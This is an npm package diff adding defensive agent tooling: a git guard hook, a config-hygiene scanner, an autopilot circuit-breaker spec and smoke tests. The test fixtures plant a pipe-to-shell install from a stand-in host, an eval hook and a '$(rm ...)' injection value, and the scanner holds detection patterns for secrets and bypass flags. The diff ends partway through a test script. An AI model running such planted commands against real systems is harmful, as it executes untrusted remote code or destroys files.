@mmerterden/multi-agent-pipeline 11.0.0 → 11.1.0

package/CHANGELOG.md

@@ -14,6 +14,37 @@ Internal file-layout changes that don't affect the slash-command surface are sti
 
 ---
 
+## [11.1.0] - 2026-07-07
+
+Harness-hardening pass: four techniques adapted from studying cross-harness agent
+operating systems, all additive and opt-in.
+
+- **Guard hooks (`agent-guard.sh`)** — a new PreToolUse Bash gate that turns two
+  prompt-level rules into deterministic, OS-enforced blocks: AI/assistant
+  attribution in a commit message, and force-push to a protected branch
+  (main/master/develop). Fail-open on any internal error, never executes the
+  inspected command (decision core is `agent-guard.py`, shlex-tokenized only),
+  no network, no secret output. Wired into `install/templates/claude-hooks.json`
+  alongside the existing secret scan; `multi-agent:setup` offers to merge it.
+  Backed by `smoke-agent-guard.sh` (19 behavioral cases incl. injection safety).
+- **Config-hygiene gate (`scan-agent-config.sh`)** — a dependency-free, read-only
+  audit of the shipped config surface (hook templates, preferences template,
+  agent defs, MCP helper scripts) for hardcoded secrets, permission-bypass flags,
+  eval-bearing hook commands, blanket `Bash(*)` allows, and pipe-to-shell /
+  unpinned-npx install patterns. Runs in the release VERIFY step; blocks on any
+  HIGH finding. Backed by `smoke-config-hygiene.sh` (real surface clean +
+  planted-bad detection).
+- **Autopilot circuit-breaker** — `refs/features/autopilot-circuit-breaker.md`
+  defines the sanctioned autopilot pause: halt and hand back to the user on a
+  no-progress stall, an identical repeated failure, a rework storm, cost drift
+  past the `costBudget` ceiling, or a merge/rebase conflict. Continuing
+  unattended off the happy path is the less safe choice.
+- **Three technique skills** added to `ai-common-engineering-toolkit`
+  (v0.1.1): `council` (multi-voice adversarial decision), `search-first`
+  (research-before-coding with an adopt/extend/compose/build matrix), and
+  `agent-introspection-debugging` (capture -> diagnose -> contained-recovery ->
+  report, with an honesty guard against fake auto-heal claims).
+
 ## [11.0.0] - 2026-07-07
 
 Breaking: the two issue creators `generate-task` and `generate-bug` are merged

package/install/templates/claude-hooks.json

@@ -1,5 +1,5 @@
 {
-  "_readme": "Recommended Claude Code hooks for multi-agent-pipeline. Merge the `hooks` object into your ~/.claude/settings.json to make the secret scan a HARD pre-commit gate (exit 2 blocks the commit) rather than an advisory step. This is the one gate that is naturally a PreToolUse hook: it scans the staged diff with no extra arguments. The other deterministic gates (evidence, consensus, intent, learnings) are invoked by the pipeline phases with run-specific arguments (a build-log path, the triage JSON, the free-text input), so they are phase-enforced by contract, not OS-hookable. multi-agent:setup offers to merge this block.",
+  "_readme": "Recommended Claude Code hooks for multi-agent-pipeline. Merge the `hooks` object into your ~/.claude/settings.json to make these deterministic, OS-enforced PreToolUse gates real (exit 2 blocks the tool call) rather than prompt-level hopes. Two gates ship here: (1) a staged-diff secret scan on git commit (pre-commit-check.sh); (2) an agent-guard on git commit + git push (agent-guard.sh) that blocks AI/assistant attribution in commit messages and force-push to a protected branch (main/master/develop). Both scripts are self-contained, fail-open on internal error, never execute the inspected command, and need no run-specific arguments, which is why they are naturally PreToolUse hooks. The other deterministic gates (evidence, consensus, intent, learnings) take run-specific arguments and are phase-enforced by the pipeline instead. multi-agent:setup offers to merge this block.",
   "hooks": {
     "PreToolUse": [
       {
@@ -10,6 +10,23 @@
             "command": "bash $HOME/.claude/scripts/pre-commit-check.sh",
             "timeout": 15,
             "statusMessage": "Scanning staged changes for secrets..."
+          },
+          {
+            "type": "command",
+            "command": "bash $HOME/.claude/scripts/agent-guard.sh",
+            "timeout": 10,
+            "statusMessage": "Checking commit for attribution..."
+          }
+        ]
+      },
+      {
+        "matcher": "Bash(git push:*)",
+        "hooks": [
+          {
+            "type": "command",
+            "command": "bash $HOME/.claude/scripts/agent-guard.sh",
+            "timeout": 10,
+            "statusMessage": "Checking push safety..."
           }
         ]
       }

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@mmerterden/multi-agent-pipeline",
-  "version": "11.0.0",
+  "version": "11.1.0",
   "description": "8-phase AI development pipeline with full orchestration on Claude Code and Copilot CLI. Analysis, planning, TDD, CLI-aware parallel review with consensus surfacing + Fable triage, default-FAIL evidence gates, secret + intent guards, per-phase cost ledger, persistent learnings memory, wiki generation, commit automation. Token-preserving uninstall.",
   "type": "module",
   "main": "index.js",

package/pipeline/commands/multi-agent/refs/features/autopilot-circuit-breaker.md

@@ -0,0 +1,32 @@
+# Feature: Autopilot Circuit-Breaker
+
+**Pattern**: autopilot runs with zero interaction, which is exactly when a silent failure loop is most expensive  -  an agent can burn a budget re-attempting the same broken fix, or thrash between two phases, with nobody watching. A circuit-breaker converts "keep going no matter what" into "keep going until a defined unsafe condition, then halt and hand back to the user." This is the sanctioned autopilot pause (same class as the Phase 7 channels pause): the run stops, records why, and waits for an explicit `resume`.
+
+**Gated by `prefs.global.autopilotCircuitBreaker`** (default: enabled; thresholds tunable). Halting is always safe, so the breaker itself defaults on. Disable per-run only with an explicit override. Complements, does not replace, the existing autopilot safety rules (build-fail max 3 retries, Phase 4 blocking-finding rework, destructive-op confirmations).
+
+## Trip conditions
+
+Any one trips the breaker. All are evaluated from `agent-state.json` + telemetry, no extra model calls.
+
+| # | Trigger | Detection | Default threshold |
+|---|---|---|---|
+| 1 | **No-progress stall** | two consecutive phase checkpoints with no forward transition (same `phase` + `step` + `reworkCount`, no new artifact/commit) | 2 checkpoints |
+| 2 | **Identical repeated failure** | same normalized build-error signature, or the same Phase 4 finding fingerprint, recurs across consecutive Phase 3 rework cycles | 2 cycles |
+| 3 | **Rework storm** | Phase 4 -> Phase 3 rework cycles exceed the cap (distinct from the build-retry cap) | `maxReworkCycles` = 3 |
+| 4 | **Cost drift** | cumulative spend crosses the `costBudget` ceiling, or the projected next-phase spend would exceed it, after model-fallback has already downgraded | `costBudget` ceiling |
+| 5 | **Merge/rebase conflict** | Phase 6 push blocked by a conflict that requires history reconciliation | any conflict |
+
+Trigger 2 is the key addition over the plain build-retry cap: a build can "fail differently" three times (legitimate iteration) or "fail identically" twice (stuck). Only the identical-failure case is a stall; the retry cap catches the rest.
+
+## Action on trip
+
+1. Set `agent-state.json.circuitBreaker = {tripped: true, trigger: <#>, detail, checkpoint}` and flip `autopilot` handling to paused (the run does not continue unattended).
+2. Emit one actionable line per the progress contract: what tripped, the evidence (error signature / cycle count / spend vs ceiling), and the single next action (`resume #N` after a fix, or `kill #N`).
+3. Never auto-resolve the underlying cause  -  no force-anything, no conflict auto-merge, no budget self-raise. The breaker hands control back; it does not paper over the problem.
+4. `resume #N` clears the tripped flag and continues from the recorded checkpoint. If the same trigger fires again immediately, the breaker re-trips (no silent bypass).
+
+## Why this is the right autopilot exception
+
+Autopilot's contract is "no interaction on the happy path." The circuit-breaker fires only off the happy path, where continuing unattended is the *less* safe choice: repeating a proven-broken action, or spending past a ceiling the user set, is not autonomy, it is a runaway. Halting with a precise reason is cheaper than the tokens (and trust) a silent loop burns.
+
+Inspired by autonomous-loop operators that gate on explicit stop conditions (no-progress, identical-stack-trace repetition, cost drift, conflict blocking), adapted to this pipeline's phase/rework/state model.

package/pipeline/commands/multi-agent/refs/phases/modes.md

@@ -35,6 +35,7 @@ Autopilot mode skips interactive confirmations and runs the pipeline end-to-end
 - Phase 4 Review -> if blocking finding, returns to Phase 3, auto fix + rebuild (safety)
 - Kill/Purge confirmations -> destructive operations always ask
 - Build fail -> auto fix + rebuild (max 3 retries). After 3 retries still failing -> pause, ask user
+- **Circuit-breaker** -> autopilot halts (records reason, waits for `resume`) on a no-progress stall, an identical repeated failure, a rework storm, cost drift past the `costBudget` ceiling, or a merge/rebase conflict. Full wiring: `refs/features/autopilot-circuit-breaker.md`. This is the sanctioned autopilot pause  -  continuing unattended off the happy path is the less safe choice.
 - **Phase 7 channels dispatch** -> always pauses for multi-select. Rationale: Jira/Confluence are externally visible; silently posting wrong-tone content leaks team-visible artifacts. See below.
 
 **State tracking**: `agent-state.json` gets `"autopilot": true`. Autopilot continues on resume as well.

package/pipeline/commands/multi-agent/refs/picker-contract.md

@@ -56,6 +56,6 @@ In autopilot, `ask_choice` resolves to `default` (or the safe first option) with
 
 ## Deterministic gates note
 
-Claude Code's `PreToolUse` exit-2 hook is the one HARD blocking gate: the secret scan runs on every `git commit` and a non-zero exit blocks it. The recommended hook block ships at `install/templates/claude-hooks.json`; `multi-agent:setup` offers to merge it into `~/.claude/settings.json`. Only the secret scan is naturally a PreToolUse hook (it needs no run-specific arguments) - the other deterministic gates (evidence, consensus, intent, learnings) are invoked by the pipeline phases with per-run arguments (a build-log path, the triage JSON, the free-text input), so they are phase-enforced by contract, not OS-hookable.
+Claude Code's `PreToolUse` exit-2 hooks are the HARD blocking gates. Two ship, both needing no run-specific arguments so they are naturally hookable: (1) `pre-commit-check.sh` scans the staged diff on every `git commit` and blocks on a detected secret; (2) `agent-guard.sh` runs on `git commit` + `git push` and blocks AI/assistant attribution in a commit message and force-push to a protected branch (main/master/develop). Both are self-contained, fail-open on internal error, and never execute the inspected command. The recommended hook block ships at `install/templates/claude-hooks.json`; `multi-agent:setup` offers to merge it into `~/.claude/settings.json`. The other deterministic gates (evidence, consensus, intent, learnings) are invoked by the pipeline phases with per-run arguments (a build-log path, the triage JSON, the free-text input), so they are phase-enforced by contract, not OS-hookable.
 
 Copilot CLI has no `PreToolUse` equivalent, so the secret scan there is workflow-enforced (run as a phase step, not OS-blocked) plus a CI smoke-gate step.

package/pipeline/commands/multi-agent/sync.md

@@ -148,7 +148,7 @@ If nothing is stale → report "All targets up to date" and stop.
 5. **Files NOT synced** (local-only, may contain personal data):
    - `~/.claude/multi-agent-preferences.json`
    - `~/.claude/CLAUDE.md`, `~/.claude/rules/`, `~/.claude/knowledge/`
-   - `~/.claude/scripts/`  -  EXCEPT `pre-commit-check.sh` and `build-stack-plugins.mjs` (generic, synced)
+   - `~/.claude/scripts/`  -  EXCEPT `pre-commit-check.sh`, `agent-guard.sh`, `agent-guard.py`, and `build-stack-plugins.mjs` (generic, synced)
    - `~/.claude/settings.json`
 
 6. **Cross-platform smoke gate** (final step of the REPO sync, before push):
@@ -256,7 +256,7 @@ When invoked with the `release` argument:
 
 ```
 1. REPO          Claude Code -> pipeline repo (genericized)
-2. VERIFY        Personal data scan -> 0 results
+2. VERIFY        Personal data scan -> 0 results; config-hygiene scan (scan-agent-config.sh) -> 0 HIGH
 3. LINT + TEST   ESLint + smoke tests
 4. VERSION       package.json version bump (patch/minor/major)
 5. Commit + TAG  git commit + git tag v{VERSION}

package/pipeline/scripts/agent-guard.py

@@ -0,0 +1,74 @@
+#!/usr/bin/env python3
+"""Decision core for agent-guard.sh (see that file for the hook contract).
+
+Reads the PreToolUse payload JSON on stdin and prints exactly one decision:
+  BLOCK_ATTRIB | BLOCK_FORCE | OK
+
+Never executes the command. shlex.split only tokenizes shell-like text; a
+`$(...)` in the command is a literal token, never a subshell. Any error prints
+OK (fail-open) so a guard bug cannot break a legitimate tool call.
+"""
+import json
+import os
+import re
+import shlex
+import sys
+
+# --- Rule data (extend here; this is the hookify-style rule surface) ----------
+PROTECTED = {"main", "master", "develop"}
+REMOTES = {"origin", "upstream"}
+ATTRIBUTION = re.compile(
+    r"co-authored-by:\s*(claude|anthropic|opus|sonnet|haiku|fable)"
+    r"|noreply@anthropic\.com"
+    r"|generated with\s+.*claude"
+    r"|\U0001F916\s*generated"
+    r"|claude code <",
+    re.IGNORECASE,
+)
+FORCE = re.compile(r"(^|\s)(--force(\b|$)|--force-with-lease|-\S*f\S*)(\s|$)")
+
+
+def decide(cmd: str) -> str:
+    low = cmd.lower()
+
+    # Rule 1: AI attribution inside a git commit.
+    if re.search(r"git\s+commit", low) and ATTRIBUTION.search(cmd):
+        return "BLOCK_ATTRIB"
+
+    # Rule 2: force-push to a protected branch.
+    if re.search(r"git\s+push", low) and FORCE.search(cmd):
+        try:
+            toks = shlex.split(cmd)
+        except Exception:
+            toks = cmd.split()
+        if any(t in PROTECTED or t.split(":")[-1] in PROTECTED for t in toks):
+            return "BLOCK_FORCE"
+        # non-flag args after `push`; only a remote (or nothing) means a bare push
+        args, seen = [], False
+        for t in toks:
+            if t == "push":
+                seen = True
+                continue
+            if seen and not t.startswith("-"):
+                args.append(t)
+        nonremote = [a for a in args if a not in REMOTES]
+        if not nonremote and os.environ.get("CUR_BRANCH", "") in PROTECTED:
+            return "BLOCK_FORCE"
+
+    return "OK"
+
+
+def main() -> None:
+    try:
+        data = json.load(sys.stdin)
+        cmd = (data.get("tool_input") or {}).get("command", "")
+        if not isinstance(cmd, str) or not cmd:
+            print("OK")
+            return
+        print(decide(cmd))
+    except Exception:
+        print("OK")
+
+
+if __name__ == "__main__":
+    main()

package/pipeline/scripts/agent-guard.sh

@@ -0,0 +1,48 @@
+#!/usr/bin/env bash
+# agent-guard.sh  -  PreToolUse Bash guard for the multi-agent pipeline.
+#
+# Turns two prompt-level rules into deterministic, OS-enforced gates:
+#   1. No AI/assistant attribution in git commit messages (Co-Authored-By: Claude,
+#      "Generated with Claude Code", robot emoji, Anthropic no-reply address).
+#   2. No force-push to a protected branch (main / master / develop).
+#
+# Contract (Claude Code PreToolUse hook):
+#   - Reads the tool-call JSON on stdin: {"tool_input":{"command":"..."}, ...}.
+#   - Exit 2  -> BLOCK the tool call (reason on stderr, shown to the model).
+#   - Exit 0  -> allow.
+#
+# Safety design (fail-OPEN):
+#   - The command string is ONLY parsed/pattern-matched, NEVER executed or eval'd
+#     (the decision core is agent-guard.py; shlex tokenizes without running).
+#   - Any internal error (bad JSON, missing python3/helper, empty input) -> exit 0.
+#     A guard bug must never break a legitimate tool call.
+#   - No network, no file writes, no secret values printed.
+#   - The single exec is a read-only `git rev-parse` to learn the current branch.
+
+set -u
+
+HERE="$(cd "$(dirname "$0")" 2>/dev/null && pwd || true)"
+HELPER="$HERE/agent-guard.py"
+[ -f "$HELPER" ] || exit 0
+command -v python3 >/dev/null 2>&1 || exit 0
+
+PAYLOAD="$(cat 2>/dev/null || true)"
+[ -z "$PAYLOAD" ] && exit 0
+
+CUR_BRANCH="$(git rev-parse --abbrev-ref HEAD 2>/dev/null || true)"
+
+DECISION="$(printf '%s' "$PAYLOAD" | CUR_BRANCH="$CUR_BRANCH" python3 "$HELPER" 2>/dev/null || true)"
+
+case "$DECISION" in
+  BLOCK_ATTRIB)
+    echo "BLOCKED by agent-guard: the commit message carries AI/assistant attribution." >&2
+    echo "Remove any 'Co-Authored-By: Claude', 'Generated with Claude Code', robot-emoji, or" >&2
+    echo "anthropic no-reply trailer. Commits are authored solely as the user's git identity." >&2
+    exit 2 ;;
+  BLOCK_FORCE)
+    echo "BLOCKED by agent-guard: force-push to a protected branch (main/master/develop) is not allowed." >&2
+    echo "Rewriting shared history is a data-loss risk. Push a normal commit, or force-push a feature branch." >&2
+    exit 2 ;;
+  *)
+    exit 0 ;;
+esac

package/pipeline/scripts/build-stack-plugins.mjs

@@ -36,7 +36,7 @@ const EXTERNAL = join(PIPE_ROOT, 'pipeline/skills/shared/external');
 const DRY = args.includes('--dry-run');
 
 const COMMON_PLUGIN = 'ai-common-engineering-toolkit';
-const COMMON_SKILLS = ['accessibility-compliance-accessibility-audit', 'firebase', 'humanizer'];
+const COMMON_SKILLS = ['accessibility-compliance-accessibility-audit', 'firebase', 'humanizer', 'council', 'search-first', 'agent-introspection-debugging'];
 
 // Apple/Xcode-only skills that match no stack pattern → iOS plugin only.
 const APPLE_ONLY = [

package/pipeline/scripts/fixtures/install-layout.tsv

@@ -5,12 +5,12 @@
 .claude/multi-agent-preferences.json	1
 .claude/rules	12
 .claude/schemas	23
-.claude/scripts	174
+.claude/scripts	180
 .claude/settings.json	1
-.claude/skills	560
+.claude/skills	563
 .copilot/agents	8
 .copilot/copilot-instructions.md	1
 .copilot/lib	24
 .copilot/schemas	23
-.copilot/scripts	174
-.copilot/skills	598
+.copilot/scripts	180
+.copilot/skills	600

package/pipeline/scripts/scan-agent-config.sh

@@ -0,0 +1,107 @@
+#!/usr/bin/env bash
+# scan-agent-config.sh  -  config-hygiene gate for the shipped agent surface.
+#
+# Audits the config the pipeline SHIPS (install templates, preferences template,
+# agent definitions, MCP helper scripts) for security problems before release:
+#   HIGH   - hardcoded secrets; hook commands that eval/execute inspected input;
+#            permission bypass flags baked into a shipped template.
+#   MEDIUM - unpinned/remote-install supply-chain patterns (curl|bash, npx -y);
+#            blanket Bash(*) permission allow.
+#
+# Read-only. Never prints a secret value (reports file + rule only). Self-contained
+# (no external scanner dependency). Exit 1 if any HIGH finding, else 0.
+#
+# Inspired by config-audit tools like ecc-agentshield, but rewritten as a
+# first-party, dependency-free gate over this repo's own shipped surface.
+
+set -uo pipefail
+
+# ROOT defaults to the repo root; SCAN_ROOT overrides it (used by the smoke test
+# to point at a fixture tree of planted-bad configs).
+ROOT="${SCAN_ROOT:-$(cd "$(dirname "$0")/../.." && pwd)}"
+
+HIGH=0; MED=0
+high() { HIGH=$((HIGH+1)); echo "  [HIGH]   $1"; }
+med()  { MED=$((MED+1));  echo "  [MEDIUM] $1"; }
+
+# Shipped config surface (globs expanded safely; missing paths are skipped).
+TARGETS=()
+add() { [ -e "$1" ] && TARGETS+=("$1"); }
+add "$ROOT/install/templates/claude-hooks.json"
+add "$ROOT/install/templates/copilot-instructions.md"
+add "$ROOT/pipeline/preferences-template.json"
+for f in "$ROOT"/pipeline/agents/*.md; do add "$f"; done
+for f in "$ROOT"/pipeline/skills/figma-common/figma-setup/scripts/*.py \
+         "$ROOT"/pipeline/skills/figma-ios/figma-to-component/scripts/*.py; do add "$f"; done
+add "$ROOT/pipeline/scripts/agent-guard.sh"
+add "$ROOT/pipeline/scripts/pre-commit-check.sh"
+
+rel() { echo "${1#$ROOT/}"; }
+
+echo "→ scanning ${#TARGETS[@]} shipped config files"
+
+for f in "${TARGETS[@]}"; do
+  [ -f "$f" ] || continue
+  r="$(rel "$f")"
+
+  # --- HIGH: hardcoded secrets (high-signal prefixes only; report file, not value)
+  if grep -EqI '(ghp|gho|ghu|ghs|ghr)_[A-Za-z0-9]{36}|github_pat_[A-Za-z0-9_]{60,}|xox[baprs]-[A-Za-z0-9-]{12,}|sk_live_[A-Za-z0-9]{20,}|AIza[0-9A-Za-z_-]{35}|npm_[A-Za-z0-9]{36}|glpat-[A-Za-z0-9_-]{20,}|AKIA[0-9A-Z]{16}|-----BEGIN [A-Z ]*PRIVATE KEY-----' "$f" 2>/dev/null; then
+    high "hardcoded secret / token in $r"
+  fi
+  if grep -Eq '"type"[[:space:]]*:[[:space:]]*"service_account"' "$f" 2>/dev/null; then
+    high "embedded service-account JSON in $r"
+  fi
+
+  # --- HIGH: permission bypass baked into a shipped template
+  if grep -Eq 'skipDangerousModePermissionPrompt"?[[:space:]]*:[[:space:]]*true|--dangerously-skip-permissions|"permissions"[[:space:]]*:[[:space:]]*"?(allow-all|bypass)' "$f" 2>/dev/null; then
+    high "permission bypass flag in shipped template: $r"
+  fi
+
+  # --- MEDIUM: blanket Bash allow
+  if grep -Eq '"Bash\(\*\)"|"Bash\(:\*\)"|Bash\(\*:\*\)' "$f" 2>/dev/null; then
+    med "blanket Bash(*) permission in $r"
+  fi
+
+  # --- MEDIUM: remote-install supply-chain patterns
+  if grep -Eq 'curl[^|]*\|[[:space:]]*(sudo[[:space:]]+)?(ba)?sh|wget[^|]*\|[[:space:]]*(ba)?sh' "$f" 2>/dev/null; then
+    med "pipe-to-shell remote install (curl|bash) in $r"
+  fi
+  if grep -Eq '(^|[^A-Za-z])npx[[:space:]]+-y[[:space:]]|npx[[:space:]]+--yes[[:space:]]' "$f" 2>/dev/null; then
+    med "unpinned 'npx -y' auto-install in $r"
+  fi
+done
+
+# --- HIGH: hook commands must only invoke vetted scripts, never inline eval -----
+HOOKS="$ROOT/install/templates/claude-hooks.json"
+if [ -f "$HOOKS" ] && command -v python3 >/dev/null 2>&1; then
+  bad="$(python3 - "$HOOKS" <<'PY' 2>/dev/null || true
+import json, re, sys
+try:
+    t = json.load(open(sys.argv[1]))
+except Exception:
+    sys.exit(0)
+bad = []
+for _event, entries in (t.get("hooks") or {}).items():
+    for e in entries:
+        for h in e.get("hooks", []):
+            c = h.get("command", "")
+            # allow only: `bash $HOME/.claude/scripts/<name>` (our vetted scripts)
+            if not re.fullmatch(r'bash \$HOME/\.claude/scripts/[A-Za-z0-9._-]+', c.strip()):
+                bad.append(c)
+            if re.search(r'\beval\b|\$\(|`', c):
+                bad.append(c)
+print("\n".join(bad))
+PY
+)"
+  if [ -n "$bad" ]; then
+    high "hooks template has a non-vetted or eval-bearing hook command"
+  fi
+fi
+
+echo ""
+echo "══ config-hygiene: $HIGH high, $MED medium ══"
+if [ "$HIGH" -gt 0 ]; then
+  echo "FAIL: high-severity config findings must be fixed before release."
+  exit 1
+fi
+exit 0

package/pipeline/scripts/smoke-agent-guard.sh

@@ -0,0 +1,74 @@
+#!/usr/bin/env bash
+# smoke-agent-guard.sh  -  behavioral contract for the agent-guard PreToolUse hook.
+#
+# Verifies the guard blocks (exit 2) AI-attribution commits and force-push to a
+# protected branch, allows (exit 0) everything else, fails open on bad input, and
+# NEVER executes the inspected command (injection safety).
+#
+# Runs the guard from the repo copy in a throwaway git repo whose branch we set,
+# so the "bare push on a protected branch" path is exercised deterministically.
+#
+# Exit 0 = all pass, 1 = any failure.
+
+set -uo pipefail
+
+ROOT="$(cd "$(dirname "$0")/../.." && pwd)"
+GUARD="$ROOT/pipeline/scripts/agent-guard.sh"
+command -v python3 >/dev/null 2>&1 || { echo "error: python3 required" >&2; exit 127; }
+[ -f "$GUARD" ] || { echo "FAIL: agent-guard.sh missing at $GUARD" >&2; exit 1; }
+[ -f "$ROOT/pipeline/scripts/agent-guard.py" ] || { echo "FAIL: agent-guard.py missing" >&2; exit 1; }
+
+PASS=0; FAIL=0
+pass() { PASS=$((PASS+1)); echo "  ✓ $1"; }
+fail() { FAIL=$((FAIL+1)); echo "  ✗ $1"; }
+
+# throwaway repo on a protected branch so `git rev-parse` inside the guard = main
+WORK="$(mktemp -d)"
+trap 'rm -rf "$WORK"' EXIT
+# init on main WITH a commit so `git rev-parse --abbrev-ref HEAD` resolves to main
+# (an unborn branch reports HEAD, which would not exercise the bare-push path)
+( cd "$WORK" \
+  && git init -q \
+  && git symbolic-ref HEAD refs/heads/main \
+  && git -c user.email=t@t -c user.name=t commit -q --allow-empty -m init ) 2>/dev/null
+
+J() { python3 -c 'import json,sys; print(json.dumps({"tool_input":{"command":sys.argv[1]}}))' "$1"; }
+run() { # label  expected-exit  command-string
+  local got
+  ( cd "$WORK" && printf '%s' "$(J "$3")" | bash "$GUARD" >/dev/null 2>&1 )
+  got=$?
+  if [ "$got" = "$2" ]; then pass "[$got] $1"; else fail "expected $2 got $got: $1"; fi
+}
+
+echo "→ blocks (exit 2)"
+run "commit Co-Authored-By: Claude" 2 'git commit -m "x
+
+Co-Authored-By: Claude <noreply@anthropic.com>"'
+run "commit robot-emoji"            2 'git commit -m "x
+
+🤖 Generated with Claude Code"'
+run "push --force origin main"      2 'git push --force origin main'
+run "push -f origin develop"        2 'git push -f origin develop'
+run "push --force-with-lease master" 2 'git push --force-with-lease origin master'
+run "bare push -f on main"          2 'git push -f'
+
+echo "→ allows (exit 0)"
+run "normal commit"                 0 'git commit -m "feat: normal"'
+run "push no force"                 0 'git push origin main'
+run "force push feature branch"     0 'git push --force origin feature/DEMO-1'
+run "force push tag"                0 'git push -f origin v1.2.3'
+run "non-git command"               0 'ls -la /tmp'
+run "empty command"                 0 ''
+
+echo "→ fail-open on bad input"
+( cd "$WORK" && printf 'not-json{' | bash "$GUARD" >/dev/null 2>&1 ); [ $? -eq 0 ] && pass "malformed json -> allow" || fail "malformed json blocked"
+( cd "$WORK" && printf '' | bash "$GUARD" >/dev/null 2>&1 ); [ $? -eq 0 ] && pass "empty stdin -> allow" || fail "empty stdin blocked"
+
+echo "→ injection safety (inspected command must NOT execute)"
+SENT="$WORK/sentinel"; : > "$SENT"
+( cd "$WORK" && printf '%s' "$(J "git commit -m \"\$(rm -f '$SENT')\"")" | bash "$GUARD" >/dev/null 2>&1 )
+[ -f "$SENT" ] && pass "sentinel survived (no execution)" || fail "sentinel deleted - command executed"
+
+echo ""
+echo "══ agent-guard smoke: $PASS passed, $FAIL failed ══"
+[ "$FAIL" -eq 0 ]

package/pipeline/scripts/smoke-autopilot-circuit-breaker.sh

@@ -0,0 +1,36 @@
+#!/usr/bin/env bash
+# smoke-autopilot-circuit-breaker.sh  -  wiring contract for the autopilot
+# circuit-breaker feature: the doc exists, enumerates the five trip conditions,
+# and is referenced from the modes "what never skips" list.
+#
+# Exit 0 = all pass, 1 = any failure.
+
+set -uo pipefail
+
+ROOT="$(cd "$(dirname "$0")/../.." && pwd)"
+DOC="$ROOT/pipeline/commands/multi-agent/refs/features/autopilot-circuit-breaker.md"
+MODES="$ROOT/pipeline/commands/multi-agent/refs/phases/modes.md"
+
+PASS=0; FAIL=0
+pass() { PASS=$((PASS+1)); echo "  ✓ $1"; }
+fail() { FAIL=$((FAIL+1)); echo "  ✗ $1"; }
+
+[ -f "$DOC" ] && pass "feature doc exists" || fail "feature doc missing"
+[ -f "$MODES" ] && pass "modes doc exists" || fail "modes doc missing"
+
+echo "→ five trip conditions documented"
+for t in "No-progress stall" "Identical repeated failure" "Rework storm" "Cost drift" "Merge/rebase conflict"; do
+  grep -Fq "$t" "$DOC" && pass "trigger: $t" || fail "trigger missing: $t"
+done
+
+echo "→ action + safety invariants"
+grep -Fq "resume" "$DOC" && pass "documents resume path" || fail "no resume path"
+grep -Eiq "never auto-resolve|does not paper over|no force-anything" "$DOC" && pass "no-self-heal invariant present" || fail "missing no-self-heal invariant"
+
+echo "→ wired into modes 'what never skips'"
+grep -Fq "autopilot-circuit-breaker.md" "$MODES" && pass "modes references the feature doc" || fail "modes does not reference the feature"
+grep -Fiq "Circuit-breaker" "$MODES" && pass "modes lists circuit-breaker under never-skip" || fail "modes missing circuit-breaker bullet"
+
+echo ""
+echo "══ autopilot-circuit-breaker smoke: $PASS passed, $FAIL failed ══"
+[ "$FAIL" -eq 0 ]

package/pipeline/scripts/smoke-config-hygiene.sh

@@ -0,0 +1,58 @@
+#!/usr/bin/env bash
+# smoke-config-hygiene.sh  -  contract for scan-agent-config.sh.
+#
+# 1. The real shipped surface must be clean (exit 0).
+# 2. A fixture tree with planted-bad configs must be caught (exit 1, HIGH findings).
+#    Detection matters: a hygiene gate that never fires is worthless.
+#
+# Exit 0 = all pass, 1 = any failure.
+
+set -uo pipefail
+
+ROOT="$(cd "$(dirname "$0")/../.." && pwd)"
+SCANNER="$ROOT/pipeline/scripts/scan-agent-config.sh"
+[ -f "$SCANNER" ] || { echo "FAIL: scanner missing" >&2; exit 1; }
+
+PASS=0; FAIL=0
+pass() { PASS=$((PASS+1)); echo "  ✓ $1"; }
+fail() { FAIL=$((FAIL+1)); echo "  ✗ $1"; }
+
+echo "→ 1. real shipped surface is clean"
+if bash "$SCANNER" >/dev/null 2>&1; then pass "real surface exits 0"; else fail "real surface flagged (unexpected)"; fi
+
+echo "→ 2. planted-bad fixture is caught"
+TMP="$(mktemp -d)"; trap 'rm -rf "$TMP"' EXIT
+mkdir -p "$TMP/install/templates" "$TMP/pipeline/agents" "$TMP/pipeline/scripts"
+
+# a fake (non-real) token that matches the high-signal prefix rule
+FAKE_TOKEN="ghp_$(printf 'A%.0s' $(seq 1 36))"
+cat > "$TMP/pipeline/preferences-template.json" <<EOF
+{ "token": "$FAKE_TOKEN", "install": "curl https://x.example/i.sh | bash" }
+EOF
+
+# bad hooks template: blanket Bash(*), bypass flag, and an eval-bearing hook cmd
+cat > "$TMP/install/templates/claude-hooks.json" <<'EOF'
+{
+  "permissions": { "allow": ["Bash(*)"] },
+  "skipDangerousModePermissionPrompt": true,
+  "hooks": { "PreToolUse": [ { "matcher": "Bash(git commit:*)",
+    "hooks": [ { "type": "command", "command": "bash -c \"eval $(cat x)\"" } ] } ] }
+}
+EOF
+: > "$TMP/pipeline/agents/placeholder.md"
+
+OUT="$(SCAN_ROOT="$TMP" bash "$SCANNER" 2>&1 || true)"
+CODE=$?
+# under set -e off, capture exit explicitly
+SCAN_ROOT="$TMP" bash "$SCANNER" >/dev/null 2>&1; CODE=$?
+
+[ "$CODE" -eq 1 ] && pass "fixture exits 1 (blocking)" || fail "fixture did not block (exit $CODE)"
+echo "$OUT" | grep -q "\[HIGH\].*secret"        && pass "detects hardcoded secret"      || fail "missed secret"
+echo "$OUT" | grep -q "\[HIGH\].*bypass"         && pass "detects permission bypass"     || fail "missed bypass flag"
+echo "$OUT" | grep -q "\[HIGH\].*hook"           && pass "detects eval-bearing hook cmd" || fail "missed bad hook command"
+echo "$OUT" | grep -q "\[MEDIUM\].*Bash"         && pass "detects blanket Bash(*)"       || fail "missed blanket Bash"
+echo "$OUT" | grep -q "\[MEDIUM\].*curl|bash\|pipe-to-shell" && pass "detects curl|bash" || fail "missed curl|bash"
+
+echo ""
+echo "══ config-hygiene smoke: $PASS passed, $FAIL failed ══"
+[ "$FAIL" -eq 0 ]

package/pipeline/scripts/smoke-gate-hooks.sh

@@ -43,6 +43,24 @@ else
   fail "pre-commit-check.sh missing"
 fi
 
+# 3b. template also wires agent-guard.sh on git commit AND git push
+node -e '
+  const t = JSON.parse(require("fs").readFileSync(process.argv[1],"utf8"));
+  const pre = (t.hooks && t.hooks.PreToolUse) || [];
+  const commit = pre.find(h => /git commit/.test(h.matcher || ""));
+  const push = pre.find(h => /git push/.test(h.matcher || ""));
+  const cmds = e => (e && e.hooks || []).map(h => h.command || "").join(" ");
+  if (!/agent-guard\.sh/.test(cmds(commit))) { console.error("guard not on git commit"); process.exit(1); }
+  if (!/agent-guard\.sh/.test(cmds(push))) { console.error("guard not on git push"); process.exit(1); }
